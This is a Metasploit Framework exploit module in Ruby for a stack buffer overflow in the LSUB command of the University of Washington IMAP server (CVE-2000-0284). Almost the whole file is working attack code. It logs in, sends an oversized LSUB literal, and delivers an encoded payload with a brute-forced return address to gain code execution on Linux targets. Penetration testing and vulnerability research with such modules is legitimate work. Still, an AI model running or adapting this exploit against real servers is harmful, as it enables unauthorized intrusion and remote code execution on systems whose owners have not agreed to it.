UoW IMAP server LSUB Buffer Overflow



##

# $Id: imap_uw_lsub.rb 8932 2010-03-26 19:00:23Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Brute
    include Msf::Exploit::Remote::Imap

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in the 'LSUB'
                command of the University of Washington IMAP service.
                This vulnerability can only be exploited with a valid username
                and password.
            },
            'Author'         => [ 'patrick', 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 8932 $',
            'References'     =>
                [
                    [ 'CVE', '2000-0284' ],
                    [ 'OSVDB', '12037' ],
                    [ 'BID', '1110' ],
                    [ 'URL', 'http://www.milw0rm.com/exploits/284' ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 964,
                    'BadChars' => "\x00\x0a\x0d\x2f",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'linux',
            'Targets'        =>
                [
                    # ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
                    [ 'Linux Bruteforce',
                        {
                            'Platform'   => 'linux',
                            'Offset'     => 1064,
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xbffffdfc },
                                    'Stop'  => { 'Ret' => 0xbfa00000 },
                                    'Step'  => 200
                                }
                        },
                    ]
                ],
            'DisclosureDate' => 'Apr 16 2000',
            'DefaultTarget' => 0))
    end

    def check
        connect
        disconnect

        if (banner =~ /IMAP4rev1 v12.264/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe

    end

    def brute_exploit(addresses)
        print_status("Trying 0x%.8x ..." % addresses['Ret'])

        if (not connect_login)
            raise RuntimeError, "Unable to log in!"
        end

        req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
        sock.put(req)
        buf = sock.get_once

        sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
        sock.put(sploit)

        handler
        disconnect
    end

end